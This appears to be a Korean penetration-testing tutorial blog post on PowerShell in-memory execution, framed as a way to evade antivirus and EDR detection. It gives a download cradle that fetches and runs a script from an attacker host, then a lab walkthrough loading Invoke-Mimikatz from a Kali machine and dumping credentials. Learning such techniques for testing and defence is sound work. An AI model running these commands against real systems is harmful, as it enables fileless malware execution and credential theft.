hhkb
모의해킹

윈도우명령어_04_파워쉘 심화

작성자 : Heehyeon Yoo|2025-11-15
# Windows# PowerShell# In-Memory# 보안

1. 개요(Overview)

파워쉘(PowerShell)의 강력한 기능 중 하나는 인메모리 실행(In-Memory Execution)이다. 악성 스크립트나 도구를 디스크에 저장(Download)하지 않고, 메모리 상에서 바로 로드하여 실행할 수 있다.

  • 장점: 파일 시스템에 흔적(Artifact)을 남기지 않아 AV(Anti-Virus)나 EDR 솔루션의 탐지를 우회할 확률이 높다.
  • 핵심: .NET 프레임워크의 기능을 활용하여 원격지의 코드를 문자열로 가져온 후 실행한다.

2. 인메모리 실행 방법(Method)

IEX (Invoke-Expression)

  • 문자열을 명령어로 인식하여 실행하는 Cmdlet.
  • IEXNet.WebClient를 조합하여 원격 스크립트를 실행한다.

Net.WebClient

  • .NET 프레임워크의 클래스로, 웹 리소스를 다운로드할 수 있다.
  • DownloadString 메서드를 사용하여 스크립트 내용을 문자열(String) 형태로 메모리에 가져온다.

명령어 구조

IEX (New-Object Net.WebClient).DownloadString('http://[공격자IP]/[악성스크립트.ps1]')
  1. New-Object Net.WebClient: 웹 클라이언트 객체 생성.
  2. .DownloadString(...): 지정된 URL의 스크립트 소스를 문자열로 다운로드.
  3. IEX (...): 다운로드된 문자열 코드를 즉시 실행(Load).

3. 실습 예시(Example)

시나리오

공격자(Kali, 10.8.0.2)가 Invoke-Mimikatz.ps1을 호스팅하고, 피해자(Windows)가 이를 메모리에서 실행하여 자격을 증명(Credential)을 탈취한다.

  1. 공격자(Kali): 웹 서버 실행

    python3 -m http.server 80
    # Invoke-Mimikatz.ps1 파일이 있는 경로에서 실행
    
  2. 피해자(Windows): 파워쉘에서 인메모리 로드

    IEX (New-Object Net.WebClient).DownloadString('http://10.8.0.2/Invoke-Mimikatz.ps1')
    
    • 실행 후 아무런 출력이 없더라도, 스크립트 내의 함수가 메모리에 로드된 상태다.
  3. 함수 실행:

    Invoke-Mimikatz -DumpCreds
    
    • 로드된 Invoke-Mimikatz 함수를 호출하여 메모리 상의 비밀번호 해시 등을 추출한다.

4. 함수 확인 및 도움말

외부 스크립트를 로드한 후, 어떤 함수를 쓸 수 있는지 모를 때는 Get-Help를 활용한다.

  • 도움말 확인:
    Get-Help Invoke-Mimikatz -Detailed
    Get-Help Invoke-Mimikatz -Examples
    
    • 스크립트 제작자가 작성한 주석 기반의 도움말을 볼 수 있어 사용법 파악에 유용하다.